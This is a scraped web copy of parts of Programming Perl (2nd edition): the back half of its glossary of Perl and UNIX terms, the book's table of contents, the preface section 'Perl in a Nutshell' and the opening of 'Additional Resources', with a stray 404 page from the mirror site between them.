Looking at your Oxford English Dictionary through a microscope. (Also known as static scoping, because dictionaries don't change very fast.) Similarly, looking at variables that are stored in a private dictionary for each subroutine, which are visible only from their point of declaration down to the end of the block in which they are declared. - Syn. static scoping. - Ant. dynamic scoping. [< Gk]

library

A collection of procedures. In ancient days, referred to a collection of subroutines in a .pl file. In modern times, refers often to the entire collection of Perl modules on your system.

line

In UNIX, a sequence of zero or more non-newline characters terminated with a newline character. On non-UNIX machines, this is emulated even if the underlying operating system has different ideas.

line buffering

Used by a standard I/O output stream that flushes its buffer after every newline. Many standard I/O libraries automatically set this up on output that is going to the terminal.

line number

The number of lines read prior to this one, plus 1. Perl keeps a separate line number for each script or input file it opens. The current script line number is represented by __LINE__. The current input line number (for the file that was most recently read from via <>) is represented by the $. variable. Many error messages report both values, if available.

link

In UNIX, a name in a directory, representing a file. A given file can have multiple links to it. It's like having the same phone number listed in the phone directory under different names.

list

An ordered set of values.

LIST

A syntactic construct representing a comma-separated list of expressions, evaluated to produce a list value. Each expression in a LIST is evaluated in a list context.

list context

The situation in which an expression is expected by its surroundings (the code calling it) to return a list of values rather than a single value. Functions that want a LIST of arguments tell those arguments that they should produce a list value. See also context.

list operator

Generally, an operator that does something with a list of values. Specifically, those operators (such as print, unlink, and system) that do not require parentheses around their argument list.

list value

An unnamed list of scalar values that may be passed around within a program and passed to any function that provides a list context.

literal

Often means "figurative", as in "I'm literally scared to death." More literally, a symbol in a programming language like a number or string that gives you an actual value instead of merely representing possible values like a variable.

little-endian

From Swift: someone who eats boiled eggs little end first. Also used of computers that store the least significant byte of a word at a lower byte address than the most significant byte. Often considered superior to big-endian machines. See also big-endian.

local

Not meaning the same thing everywhere. A variable in Perl can be localized inside a block or a package. See scope.

logical operator

Symbols representing the concepts "and", "or", and "not".

loop

A construct that performs something repeatedly, like a roller coaster. (Go to the next entry if you're tired of riding this one.) See loop.

loop control statement

Any statement within the body of a loop that can make a loop stop looping or skip an iteration. See the middle sentence of the previous entry. Generally you shouldn't try this on roller coasters without a parachute.

loop label

A kind of key or name attached to a loop so that loop control statements can talk about which loop they want to control.

lvalue

Term used by language-lawyers for a location you can assign a new value to, such as a variable or an element of an array. The "l" is short for "left", as in the left side of an assignment, a typical place for lvalues.

magical increment

An increment operator that knows how to add 1 to alphanumeric strings as well as to numbers.

magical variables

Special variables that have side effects when you access them or assign to them. For example, in Perl, changing elements of the %ENV array also changes the corresponding environment variables that subprocesses will use. Reading the $! variable gives you the current UNIX error number or message.

manpage

A "page" from the UNIX manuals, typically accessed online via the man(1) command. A manpage contains a synopsis, a description, a list of bugs, and so on, and is typically longer than a page. There are manpages documenting commands, system calls, library functions, devices, protocols, files, and such.

mantissa

The part of a floating-point number that gives the digits of the number without saying where the decimal point really belongs. See exponent.

matching

See pattern matching.

metacharacter

A character that is not supposed to be treated normally. Which characters are to be treated specially as metacharacters varies greatly from context to context. Your shell will have certain metacharacters, double-quoted Perl strings have other metacharacters, and patterns have all the double-quote metacharacters plus some extra ones. In addition, people sometimes use this term to describe characters that have the eighth bit set.

method

A kind of action that an object can take if you direct it to.

minimalism

The belief that "small is beautiful." Paradoxically, if you say something in a small language, it turns out big, and if you say it in a big language, it turns out small. Go figure.

mode

In the context of the stat(2) system call, refers to the word holding the permissions and the type of the file.

modifier

A conditional or loop that you put after the statement instead of before, if you know what I mean.

module

A file that defines a package of (almost) the same name, which can either export symbols or function as an object class. The unit of reusability in Perl. See the use operator.

modulus

A divisor, when you're interested in the remainder instead of the quotient.

multi-dimensional array

An array with multiple subscripts for finding a single element. Perl does them with references - see Chapter 4.

multiple inheritance

The features you got from your mother and father, mixed together unpredictably. (See also inheritance, and single inheritance.) In computer languages (including Perl), the notion that a given class may have multiple direct ancestors or base classes.

namespace

A domain of names. You needn't worry whether the names in one such domain have been used in another. See package.

network address

The most important attribute of a socket, like your telephone's telephone number.

newline

A single character that represents the end of a line, with the ASCII value of 012 octal under UNIX (but 015 on a Mac), and represented by \n in Perl strings. For certain physical devices like terminals, this gets translated to a line feed and a carriage return.

null character

A character with the ASCII value of zero. It's used by C and some UNIX system calls to terminate strings, but Perl allows strings to contain a null.

null list

A list value with zero elements, represented in Perl by ().

null string

A string not containing any characters, not to be confused with a string containing a null character, which has a positive length.

numeric context

The situation in which an expression is expected by its surroundings (the code calling it) to return a number. See also context and string context.

nybble

Half a byte, equivalent to one hexadecimal digit.

object

Something that "knows" what kind of thing it is, and what it can do because of what kind of thing it is. Your program can request an object to do things, but the object gets to decide whether it wants to do it or not.

octal

A number in base eight. Only the digits zero through seven are allowed. Octal constants in Perl start with zero, as in 013.

offset

How many things you have to skip over when moving from the beginning of a string or array to a specific position within it. Thus, the minimum offset is zero, not one, because you don't skip anything to get to the first item.

operand

You, after you dial the operator on your phone. Or, an expression that gives a value that an operator operates on. See also precedence.

operating system

A special program that runs on the bare machine and hides the gory details of managing processes and devices. It is usually used in a looser sense to indicate a particular culture of programming. The loose sense can be used at varying levels of specificity. At one extreme, you might say that all versions of UNIX and UNIX-lookalikes are the same operating system (upsetting many people, especially some lawyers). At the other extreme, this particular version of this particular vendor's operating system is different than any other version of this or any other vendor's operating system. Perl is much more portable across operating systems than many other languages. See also architecture.

operator

A function, generally one that is built into a language, often with a special syntax or symbol. A given operator may have specific expectations about what types of data you give as its arguments (operands) and what type of data you want back from it.

operator overloading

A kind of overloading that you can do on the built-in operators to make them work (syntactically) on objects as if they were ordinary scalar values, but with the actual semantics supplied by the object class. This is set up with the overload pragma - see Chapter 7, The Standard Perl Library.

options

See switches.

overloading

Giving additional meanings to a symbol or construct. Actually, all languages do overloading to one extent or another, since people are good at figuring out things from context. If you look in your dictionary, you will find that the meaning of the word "single" is not single.

overriding

Hiding or invalidating some other definition of the same name. (Not to be confused with overloading, which only adds definitions.) To confuse the issue further, we use the word with two overloaded definitions: to describe how you can define your own subroutine that hides a built-in function of the same name, and also to describe how you can define a replacement method in a derived class that hides a base class's method of the same name. You'll find both of these usages in Chapter 5.

owner

The one user (apart from the superuser) who has absolute control over a file. A file may also have a group of users that may exercise joint ownership if the real owner permits them. See permission flags.

package

A quantity of code that values its privacy, and tries to keep other code from trespassing upon its namespace by fencing all of its private belongings (variables and subroutines) into its own area. A variable or subroutine mentioned in the package belongs only to that package, even if there's another variable or subroutine with an identical name in some other package.

package local

A variable or subroutine belonging to a package and not visible to anyone else. At least, not without peeking. See namespace.

parameter

See argument.

parsing

The subtle but sometimes brutal art of attempting to turn your possibly malformed program into a valid syntax tree.

PATH

The list of directories the system looks in to find a program you want to execute. The list is stored as one of your environment variables, accessible in Perl as $ENV{PATH}.

pathname

A fully qualified filename such as /usr/bin/perl or C:\my_apps\perl.exe. Sometimes confused with PATH.

pattern matching

Taking a pattern, expressed as a regular expression, and trying the pattern various ways on a string to see if there's any way to make it fit. Often used to pick interesting tidbits out of a file.

permission flags

Bits that the owner of a file sets or unsets in order to allow or disallow access to other people. These flags are part of the mode word returned by the stat operator when you ask about a file. On UNIX systems you can check the ls(1) manpage for more information about the permission flags.

Pern

What you get when you do Perl++ twice. Increment it only once, and your hair curls. Increment it three times, and you get a tasty beverage that isn't Java. See also slice.

pipe

A direct connection that carries the output of one process to the input of another without the necessity of an intermediate temporary file. Once the pipe is set up, the two processes in question can mostly read and write as if they were talking to a normal file.

pipeline

A series of processes all in a row, linked by pipes, where each passes its output to the next.

pointer

A variable in a language like C that contains the exact memory location of some other item. Perl handles pointers internally so you don't have to worry about them. Instead, you just use symbolic pointers in the form of keys and variable names, or hard references, which aren't pointers (but act like pointers, and do in fact contain pointers).

port

The part of the address of a TCP or UDP socket that directs packets to the correct process after finding the right machine, something like the phone extension number you give when you reach the company operator.

pragma

A library module whose practical hints and suggestions are received (and possibly ignored) by the compiler. [< Gr]

precedence

The rules of conduct that, in the absence of other guidance, determine what should happen first (i.e., in the absence of parentheses, you always do multiplication before addition).

preprocessing

What some other helper process did to transform the incoming data into a form more suitable for the current process. Often done with an incoming pipe. See also C preprocessor.

procedure

A subroutine.

process

An instance of a running program. Under multi-tasking systems like UNIX, two or more separate processes could be running the same program independently at the same time - in fact, the fork function is designed to bring about this happy state of affairs. Under other operating systems processes are sometimes called "tasks" or "jobs".

protocol

In networking, an agreed-upon way of sending messages back and forth so that neither correspondent will get too confused.

pseudo literal

An operator that looks something like a literal, such as the output-grabbing operator, `command`.

pseudo terminal

A thing that looks like an ordinary terminal to the computer, but instead of being attached to a real terminal, is really attached to another computer program, which is doing the pseudotyping.

public domain

Something not owned by anybody. Perl is copyrighted, and is thus not in the public domain - it's just freely available and freely redistributable.

PV

A "pointer value", which is Perl Internals Talk for a char*.

qualified

Possessing an explicit package name. The symbol $ex::loser is qualified; $loser is unqualified.

readable

With regard to files, one that has the proper permission bit set to let you access the file. With regard to computer programs, one that's well enough written that someone can come back later and have a chance of figuring out what it's trying to do. Who knows, you might even have to come back and figure out your own program.

record

A set of related data values in a file or stream, often associated with a unique key field. In UNIX, often commensurate with a line, or a blank-line-delimited set of lines (a "paragraph"). Each line of the /etc/passwd file is a record, keyed on login name, containing information about that user.

recursion

The art of defining something (at least partly) in terms of itself by means of recursion, which is a naughty no-no in dictionaries.

reference

A place you look to find a pointer to information stored somewhere else. (See indirection.) References come in two flavors, symbolic references, and hard references.

regular expression

A single entity with various interpretations, like an elephant. To a computer scientist, it's a grammar for a little language in which some strings are legal and others aren't. To normal people, it's a pattern that you can use to find what you're looking for when it varies from case to case. Example of a regular expression:

/Oh s.*t./

This pattern will match strings like "Oh say can you see by the dawn's early light," and "Oh sit!". See the section "Regular Expressions" in Chapter 2.

regular file

A file that's not a directory, a device, a named pipe or socket, or a symbolic link. Perl uses the -f file test operator to identify regular files.

relation

Jargon used by relational database folks to mean a file - albeit a particular sort of file, tabular in form, in which all the tuples (records) are of the same kind, each containing the same domains (keys) and ranges (fields). The UNIX /etc/passwd file is a relation keyed on login name. It's called a relation because it relates keys and fields in much the same way as an hash associates keys and values.

relational operator

An operator that says whether a particular ordering relationship is true about a pair of operands. Perl has both numeric and string relational operators. See collating sequence.

reserved words

A word with a specific, built-in meaning to a compiler, such as if or delete. In many languages (not Perl) it's illegal to use reserved words to name anything else. (Which is why they're reserved, after all.) In Perl, you just can't use them to name labels or filehandles. Also called "keywords".

return value

The value produced by a subroutine or expression when evaluated. In Perl, a return value may be either a list or a scalar value. The subroutine call piglatin('bingo') returns the value "ingobay".

right shift

A bit shift that divides a number by some power of two.

run-time

The time when Perl is actually doing what your script says to do, as opposed to the earlier period of time when it was trying to figure out whether what you said made any sense whatsoever. See also compile-time.

run-time pattern

A pattern that contains one or more variables to be interpolated before parsing the pattern as a regular expression, and that therefore cannot be analyzed at compile time, but must be re-analyzed each time the pattern match operator is evaluated. Run-time patterns are useful but expensive.

rvalue

A value that you might find on the right side of an assignment. See also lvalue.

scalar

A simple value, such as a number or string.

scalar context

The situation in which an expression is expected by its surroundings (the code calling it) to return a single value rather than a list of values. See also context and list context. A scalar context sometimes imposes additional constraints on the return value - see string context and numeric context. Sometimes we talk about a Boolean context inside conditionals, but this imposes no additional constraints, since any scalar value, whether numeric or string, is already true or false.

scalar literal

A number or quoted string - an actual value in the text of your program, as opposed to a variable.

scalar value

A value that happens to be a scalar as opposed to a list.

scalar variable

A variable prefixed with $ that holds a single value.

scope

How far away you can see a variable from, looking through one. Perl has two visibility mechanisms: it does dynamic scoping of local variables, meaning that the rest of the block, and any subroutines that are called by the rest of the block, can see the variables that are local to the block. Perl does lexical scoping of my variables, meaning that the rest of the block can see the variable, but other subroutines called by the block cannot see the variable.

script

A text file that is a program intended to be executed directly rather than compiled to another form of file before execution.

sed

A venerable stream editor from which Perl derives some of its ideas.

server

In networking, a process that either advertises a service or just hangs around at a known location and waits for clients who need service to get in touch with it.

service

Something you do for someone else to make them happy, like giving them the time of day (or of their life). On some UNIX machines, well-known services are listed by the getservent function.

setgid

Same as setuid, only having to do with giving away group privileges.

setuid

Said of a program that runs with the privileges of its owner rather than (as is usually the case) the privileges of whoever is running it. Also describes the bit in the mode word (permission flags) that implements the feature. This bit must be explicitly set by the owner to implement this feature, and the program must be written not to give away more privileges than it ought.

shell

A command-line interpreter. The program that interactively gives you a prompt, accepts one or more lines of input, and executes the programs you mentioned, feeding each of them their proper arguments and input data. Shells can also execute scripts containing such commands. Under the UNIX operating system, typical shells are the Bourne shell (/bin/sh), the C shell (/bin/csh), and the Korn shell (/bin/ksh). Perl is not strictly a shell because it's not interactive (although Perl programs can be interactive).

side effects

Something extra that happens when you evaluate an expression. Nowadays it can refer to almost anything. For example, evaluating a simple assignment statement typically has the "side effect" of assigning a value to a variable. (And you thought assigning the value was your primary intent in the first place!) Likewise, assigning a value to the special variable $| has the side effect of forcing a flush after every write or print on the currently selected filehandle.

signal handler

A subroutine that, instead of being content to be called in the normal fashion, sits around waiting for a bolt out of the blue before it will deign to execute. Under UNIX, bolts out of the blue are called signals, and you send them with a kill command.

single inheritance

The features you got from your mother, if she told you you don't have a father. (See also inheritance, and multiple inheritance.) In computer languages, the notion that classes reproduce asexually, so that a given class can only have one direct ancestor or base class. Perl enforces no such restriction.

slice

A selection of array elements.

socket

An endpoint for network communication between two processes, that works much like a telephone. The most important thing about a socket is its network address (like a phone number). Different kinds of sockets have different kinds of addresses - some look like filenames, and some don't.

soft reference

See symbolic reference.

standard error

The default output stream for making nasty remarks that don't belong in standard output. Represented within a Perl program by the filehandle STDERR. You can use this stream explicitly, but the operators die and warn write to your standard error stream automatically.

standard I/O

A standard C library for doing buffered input and output to the operating system. (The "standard" of standard I/O is only marginally related to the "standard" of standard input and output.) In general, Perl relies on whatever implementation of standard I/O a given operating system supplies, so the buffering characteristics of a Perl program on one machine may not exactly match those on another machine. Normally this only influences efficiency, not semantics. If your standard I/O package is doing block buffering and you want it to flush the buffer more often, just set the $| variable to a nonzero value.

standard input

The default input stream for your program, which if possible shouldn't care where its data is coming from. Represented within a Perl program by the filehandle STDIN.

standard output

The default output stream for your program, which if possible shouldn't care where its data is going. Represented within a Perl program by the filehandle STDOUT.

stat structure

A special internal buffer in which Perl keeps the information about the last file you requested information on.

statement

A command to the computer about what to do next, like a step in a recipe: "Add marmalade to batter and mix until mixed." Not to be confused with a declaration, which doesn't tell the computer to do anything, but just to learn something.

static

Varying slowly, compared to something else. (Unfortunately, everything is relatively stable compared to something else, except for certain elementary particles, and we're not so sure about them.) In computers, where things are supposed to vary rapidly, "static" has a derogatory connotation, indicating a slightly dysfunctional variable, subroutine, or method. In Perl culture, the word is considered to be politically incorrect.

static method

See class method.

static scoping

Same as lexical scoping.

status

The value returned to the parent process when one of its child processes dies. This value is placed in the special variable $?. Its upper eight bits are the exit status of the defunct process, and its lower eight bits identify the signal (if any) that the process died from. On UNIX systems, this status value is the same as the status word returned by wait(2). See system in Chapter 3.

STDERR

See standard error.

STDIN

See standard input.

STDIO

See standard I/O.

STDOUT

See standard output.

string

A sequence of characters such as "He said !@#*&%@#*?\n." A string does not have to be entirely printable.

string context

The situation in which an expression is expected by its surroundings (the code calling it) to return a string. See also context and numeric context.

struct

C keyword introducing a structure definition or name.

structure

See data structure.

subclass

See derived class.

subroutine

A named piece of program that can be invoked from elsewhere in the program in order to accomplish some sub-goal of the program. A subroutine is often parameterized to accomplish different but related things depending on its input arguments. If the subroutine returns a meaningful value, it is also called a function.

subscript

A value that indicates the position of a particular array element in an array.

substring

A portion of a string, starting at a certain character position (offset), and proceeding for a certain number of characters.

superclass

See base class.

superuser

The person whom the operating system will let do almost anything. Typically your system administrator or someone pretending to be your system administrator. On UNIX systems, the root user.

SV

Short for "scalar value". But within the Perl interpreter every thingy is treated as a kind of SV, in an object-oriented sort of way. Every value inside Perl is passed around as an SV* pointer in C. The SV struct knows its own "thingy type", and the code is smart enough (we hope) not to try to call a hash function on a subroutine.

switch

An option you give on a command line to influence the way your program works. In UNIX, these are usually introduced with a minus sign. The word is also used as a nickname for a switch statement.

switch clustering

The combining of multiple command line switches -a -b -c into one switch -abc. In Perl, any switch with an additional argument must be the last switch in a cluster.

switch statement

A program construct that lets you evaluate an expression and, based on the expression's value, do a multi-way branch to the appropriate piece of code for that value. Also called a "case structure", after the similar Pascal construct.

symbol table

Where a compiler remembers symbols. A program like Perl must somehow remember all the names of all the variables, filehandles, and subroutines you've used. It does this by placing the names in a symbol table, which is implemented in Perl using a hash table. There is a separate symbol table for each package, to give each package its own namespace.

symbolic debugger

A program that lets you step through the execution of your program, stopping or printing things out here and there to see if anything has gone wrong, and if so, what. The "symbolic" part just means that you can talk to the debugger using the same symbols in which your program is written.

symbolic link

An alternate filename that points to the real filename. Whenever the operating system is trying to parse a pathname containing a symbolic link, it merely substitutes the real name and continues parsing.

symbolic reference

A variable whose value is the name of another variable or subroutine. By dereferencing the first variable, you can get at the second one.

syntax

From Greek, "with-arrangement". How things (particularly symbols) are put together with each other.

syntax tree

An internal representation of your program wherein lower-level constructs dangle off the higher-level constructs enclosing them.

system call

A subroutine call directly to the operating system. Many of the important subroutines and functions you use aren't direct system calls, but are built up in one or more layers above the system call level. In general, Perl users don't need to worry about the distinction.

tainted

Said of data that might be derived from the grubby hands of a user, and thus unsafe for a secure program to rely on. Perl does taint checks if you run a setuid program or use the -T switch.

TCP

Short for Transmission Control Protocol. A protocol wrapped around the Internet Protocol to make an unreliable packet transmission mechanism appear to the application program to be a reliable stream of bytes. (Well, usually.)

text

Normally, a string or file containing primarily printable characters. The word has been usurped in some UNIX circles to mean the portion of your process that contains machine code to be executed.

thingy

Something sort of like an object, that you may or may not know the name of, but that you can refer to with circumlocutions like "that hangy-down thingy that dangles in the back of your throat". Similarly in Perl, a value that is sort of like an object, that you may or may not know the name of, but that you can refer to via references from which the thingy dangles, metaphorically speaking. Specifically, the sort of value that your reference points to when you create a reference to a variable. See anonymous, hard reference, and object, not necessarily in that order.

thread

An instance of running a program, but lighter weight than a process, in that a process could have multiple threads running around in it, all sharing the same process's resources. (If you're a dragonrider, see Pern.)

tie

The bond between a magical variable and its implementation class. See the tie function in Chapters 3 and 5.

tokenizing

Splitting up a program text into its separate words and symbols, each of which is called a token. Also known as "lexing", in which case you get "lexemes" instead of tokens.

toolbox approach

The notion that, with a complete set of simple tools that work well together, you can build almost anything you want. Which is fine if you're assembling a tricycle, but if you're building a defranishizing comboflux, you really want your own machine shop to build special tools in. Perl is sort of a machine shop.

true

See false. (And hold it up to a mirror for the secret message.)

tuple

In the lingo of relational databases, a record or line containing fields. See relation.

type

See data type.

type casting

Converting data explicitly from one type to another. C permits this. Perl does not need it.

typeglob

Used of a single identifier, prefaced with * (for example, *name), to stand for any or all of $name, @name, %name, &name, or just name. How you use it determines whether it is interpreted as all of those, or only one of them. See "Typeglobs and Filehandles" in Chapter 2.

UID

A User ID. Often used in the context of file ownership.

unary operator

An operator with only one operand, like ! or chdir. Unary operators are usually prefix operators, that is, they precede their operand. The ++ and -- operators can be either prefix or postfix. (Of course, that does change their meaning.)

undefined

Nobody has ever given this a reasonable definition. See also defined.

UNIX

A very large and constantly evolving language with several alternate and largely incompatible syntaxes, in which anyone can define anything any way they choose, and usually do. Speakers of this language think it's easy to learn because it's so easily twisted to one's own ends, but dialectical differences make tribal intercommunication nearly impossible, and travelers are often reduced to a pidgin-like subset of the language. To be universally understood, a UNIX shell programmer must spend years of study in the art. Many have abandoned this discipline and now communicate via an Esperanto-like language called Perl. In ancient times UNIX was also used to refer to some code that a couple of people at Bell Labs wrote to make use of a PDP-7 computer that wasn't doing much of anything else at the time.

unqualified

See qualified.

value

This is hard to define. It's something like real data - the actual numbers and strings that wander around in your program. But we don't really need to define it. If you didn't know a value when you see it, you wouldn't have this book. :-)

variable

A named storage location that can hold any of various values, as your program sees fit.

variable interpolation

See interpolation.

vector

Mathematical jargon for a list of scalar values.

warning

A message printed to the STDERR stream to the effect that something might be wrong but it isn't worth blowing up over. See the warn operator in Chapter 3.

whitespace

A character that moves your cursor around but doesn't otherwise put anything on your screen. Typically refers to any of the following: space, tab, line feed, carriage return, form feed, or vertical tab.

word

In normal "computerese", the piece of data of the size most efficiently dealt with by your computer, typically 32 bits or so, give or take a few powers of two. In UNIX culture, it more often refers to an alphanumeric identifier, or to a string of non-whitespace characters bounded by whitespace or line boundaries.

working directory

Your current directory, from which relative pathnames are interpreted by the operating system. The operating system knows your current directory because you told it with a chdir, or because you started out in the same place where your parent process was when you were born.

wrapper

A program that runs some other program for you, modifying some of its input or output to better suit your purposes. More generally, just about anything that wraps things up. And that just about wraps things up, except for the excess.

XS

An extraordinarily exported, expeditiously excellent, expressly eXternal Subroutine, executed in existing C or C++, or in an exciting new extension language called (exasperatingly) XS. Examine Chapter 6, Social Engineering, for the exact explanation. Exeunt.

Previous: 9. Diagnostic Messages | Programming Perl
9. Diagnostic Messages | Book Index


Programming Perl

By Larry Wall, Tom Christiansen & Randal L. Schwartz; ISBN 1-56592-149-6, 670 pages.
Second Edition, September 1996.
(See the catalog page for this book.)

Search the text of Programming Perl.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: An Overview of Perl
Chapter 2: The Gory Details
Chapter 3: Functions
Chapter 4: References and Nested Data Structures
Chapter 5: Packages, Modules, and Object Classes
Chapter 6: Social Engineering
Chapter 7: The Standard Perl Library
Chapter 8: Other Oddments
Chapter 9: Diagnostic Messages
Glossary

Examples

The Perl CD Bookshelf Navigation The Perl CD BookshelfPerl in a NutshellLearning PerlLearning Perl on Win32 SystemsAdvanced Perl ProgrammingPerl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
Perl in a Nutshell
The Rest of This Book
Additional Resources
How to Get Perl
Conventions Used in This Book
Acknowledgments
We'd Like to Hear from You

Perl in a Nutshell

Perl is a language for getting your job done.

Of course, if your job is programming, you can get your job done with any "complete" computer language, theoretically speaking. But we know from experience that computer languages differ not so much in what they make possible, but in what they make easy. At one extreme, the so-called "fourth generation languages" make it easy to do some things, but nearly impossible to do other things. At the other extreme, certain well known, "industrial-strength" languages make it equally difficult to do almost everything.

Perl is different. In a nutshell, Perl is designed to make the easy jobs easy, without making the hard jobs impossible.

And what are these "easy jobs" that ought to be easy? The ones you do every day, of course. You want a language that makes it easy to manipulate numbers and text, files and directories, computers and networks, and especially programs. It should be easy to run external programs and scan their output for interesting tidbits. It should be easy to send those same tidbits off to other programs that can do special things with them. It should be easy to develop, modify, and debug your own programs too. And, of course, it should be easy to compile and run your programs, and do it portably, on any modern operating system.

Perl does all that, and a whole lot more.

Initially designed as a glue language for the UNIX operating system (or any of its myriad variants), Perl also runs on numerous other systems, including MS-DOS, VMS, OS/2, Plan 9, Macintosh, and any variety of Windows you care to mention. It is one of the most portable programming languages available today. To program C portably, you have to put in all those strange #ifdef markings for different operating systems. And to program a shell portably, you have to remember the syntax for each operating system's version of each command, and somehow find the least common denominator that (you hope) works everywhere. Perl happily avoids both of these problems, while retaining many of the benefits of both C and shell programming, with some additional magic of its own. Much of the explosive growth of Perl has been fueled by the hankerings of former UNIX programmers who wanted to take along with them as much of the "old country" as they could. For them, Perl is the portable distillation of UNIX culture, an oasis in the wilderness of "can't get there from here". On the other hand, it works in the other direction, too: Web programmers are often delighted to discover that they can take their scripts from a Windows machine and run them unchanged on their UNIX servers.

Although Perl is especially popular with systems programmers and Web developers, it also appeals to a much broader audience. The hitherto well-kept secret is now out: Perl is no longer just for text processing. It has grown into a sophisticated, general-purpose programming language with a rich software development environment complete with debuggers, profilers, cross-referencers, compilers, interpreters, libraries, syntax-directed editors, and all the rest of the trappings of a "real" programming language. (But don't let that scare you: nothing requires you to go tinkering under the hood.) Perl is being used daily in every imaginable field, from aerospace engineering to molecular biology, from computer-assisted design/computer-assisted manufacturing (CAD/CAM) to document processing, from database manipulation to client-server network management. Perl is used by people who are desperate to analyze or convert lots of data quickly, whether you're talking DNA sequences, Web pages, or pork belly futures. Indeed, one of the jokes in the Perl community is that the next big stock market crash will probably be triggered by a bug in a Perl script. (On the brighter side, any unemployed stock analysts will still have a marketable skill, so to speak.)

There are many reasons for the success of Perl. It certainly helps that Perl is freely available, and freely redistributable. But that's not enough to explain the Perl phenomenon, since many freeware packages fail to thrive. Perl is not just free; it's also fun. People feel like they can be creative in Perl, because they have freedom of expression: they get to choose what to optimize for, whether that's computer speed or programmer speed, verbosity or conciseness, readability or maintainability or reusability or portability or learnability or teachability. You can even optimize for obscurity, if you're entering an Obfuscated Perl contest.

Perl can give you all these degrees of freedom because it's essentially a language with a split personality. It's both a very simple language and a very rich language. It has taken good ideas from nearly everywhere, and installed them into an easy-to-use mental framework. To those who merely like it, Perl is the Practical Extraction and Report Language. To those who love it, Perl is the Pathologically Eclectic Rubbish Lister. And to the minimalists in the crowd, Perl seems like a pointless exercise in redundancy. But that's okay. The world needs a few reductionists (mainly as physicists). Reductionists like to take things apart. The rest of us are just trying to get it together.

Perl is in many ways a simple language. You don't have to know many special incantations to compile a Perl program - you can just execute it like a shell script. The types and structures used by Perl are easy to use and understand. Perl doesn't impose arbitrary limitations on your data - your strings and arrays can grow as large as they like (so long as you have memory), and they're designed to scale well as they grow. Instead of forcing you to learn new syntax and semantics, Perl borrows heavily from other languages you may already be familiar with (such as C, and sed, and awk, and English, and Greek). In fact, just about any programmer can read a well-written piece of Perl code and have some idea of what it does.

Most important, you don't have to know everything there is to know about Perl before you can write useful programs. You can learn Perl "small end first". You can program in Perl Baby-Talk, and we promise not to laugh. Or more precisely, we promise not to laugh any more than we'd giggle at a child's creative way of putting things. Many of the ideas in Perl are borrowed from natural language, and one of the best ideas is that it's okay to use a subset of the language as long as you get your point across. Any level of language proficiency is acceptable in Perl culture. We won't send the language police after you. A Perl script is "correct" if it gets the job done before your boss fires you.

Though simple in many ways, Perl is also a rich language, and there is much to be learned about it. That's the price of making hard things possible. Although it will take some time for you to absorb all that Perl can do, you will be glad that you have access to the extensive capabilities of Perl when the time comes that you need them. We noted above that Perl borrows many capabilities from the shells and C, but Perl also possesses a strict superset of sed and awk capabilities. There are, in fact, translators supplied with Perl to turn your old sed and awk scripts into Perl scripts, so you can see how the features you may already be familiar with correspond to those of Perl.

Because of that heritage, Perl was a rich language even when it was "just" a data-reduction language, designed for navigating files, scanning large amounts of text, creating and obtaining dynamic data, and printing easily formatted reports based on that data. But somewhere along the line, Perl started to blossom. It also became a language for filesystem manipulation, process management, database administration, client-server programming, secure programming, Web-based information management, and even for object-oriented and functional programming. These capabilities were not just slapped onto the side of Perl - each new capability works synergistically with the others, because Perl was designed to be a glue language from the start.

But Perl can glue together more than its own features. Perl is designed to be modularly extensible. Perl allows you to rapidly design, program, debug, and deploy applications, but it also allows you to easily extend the functionality of these applications as the need arises. You can embed Perl in other languages, and you can embed other languages in Perl. Through the module importation mechanism, you can use these external definitions as if they were built-in features of Perl. Object-oriented external libraries retain their object-orientedness in Perl.

Perl helps you in other ways too. Unlike a strictly interpreted language such as the shell, which compiles and executes a script one command at a time, Perl first compiles your whole program quickly into an intermediate format. Like any other compiler, it performs various optimizations, and gives you instant feedback on everything from syntax and semantic errors to library binding mishaps. Once Perl's compiler frontend is happy with your program, it passes off the intermediate code to the interpreter to execute (or optionally to any of several modular back ends that can emit C or bytecode.) This all sounds complicated, but the compiler and interpreter are quite efficient, and most of us find that the typical compile-run-fix cycle is measured in mere seconds. Together with Perl's many fail-soft characteristics, this quick turnaround capability makes Perl a language in which you really can do rapid prototyping. Then later, as your program matures, you can tighten the screws on yourself, and make yourself program with less flair but more discipline. Perl helps you with that too, if you ask nicely.

Perl also helps you to write programs more securely. While running in privileged mode, you can temporarily switch your identity to something innocuous before accessing system resources. Perl also guards against accidental security errors through a data tracing mechanism that automatically determines which data was derived from insecure sources and prevents dangerous operations before they can happen. Finally, Perl lets you set up specially protected compartments in which you can safely execute Perl code of dubious lineage, masking out dangerous operations. System administrators and CGI programmers will particularly welcome these features.

But, paradoxically, the way in which Perl helps you the most has almost nothing to do with Perl, and everything to do with the people who use Perl. Perl folks are, frankly, some of the most helpful folks on earth. If there's a religious quality to the Perl movement, then this is at the heart of it. Larry wanted the Perl community to function like a little bit of heaven, and he seems to have gotten his wish, so far. Please do your part to keep it that way.

Whether you are learning Perl because you want to save the world, or just because you are curious, or because your boss told you to, this handbook will lead you through both the basics and the intricacies. And although we don't intend to teach you how to program, the perceptive reader will pick up some of the art, and a little of the science, of programming. We will encourage you to develop the three great virtues of a programmer: laziness, impatience, and hubris. Along the way, we hope you find the book mildly amusing in some spots (and wildly amusing in others). And if none of this is enough to keep you awake, just keep reminding yourself that learning Perl will increase the value of your resume. So keep reading.

Programming Perl | Next: The Rest of This Book
Book Index | The Rest of This Book


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog/prf1_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Preface] Additional Resources

Programming PerlSearch this book

Additional Resources

Perl Manpages

The online manpages for Perl have been divided into separate sections so you can easily find what you are looking for without wading through hundreds of pages of text. Since the top-level manpage is simply called perl, the UNIX command "man perl" should take you to it.[1] That page in turn directs you to more specific pages. For example, "man perlre" will display the manpage for Perl's regular expressions. The perldoc command may work when the man(1) command won't, especially on module documentation that your system administrator may not have felt comfortable installing with the ordinary manpages. On the other hand, your system administrator may have installed the Perl documentation in hypertext markup language (HTML) format.

[1] If you still get a humongous page when you do that, you're probably picking up the ancient Release 4 manpage. Check your MANPATH for archeological sites.

Usenet Newsgroups

The Perl newsgroups are a great, if sometimes cluttered, source of information about Perl. comp.lang.perl.announce is a moderated, low-traffic newsgroup for Perl-related announcements. These often deal with new version releases, bug fixes, new extensions and modules, and Frequently Asked Questions (FAQs).

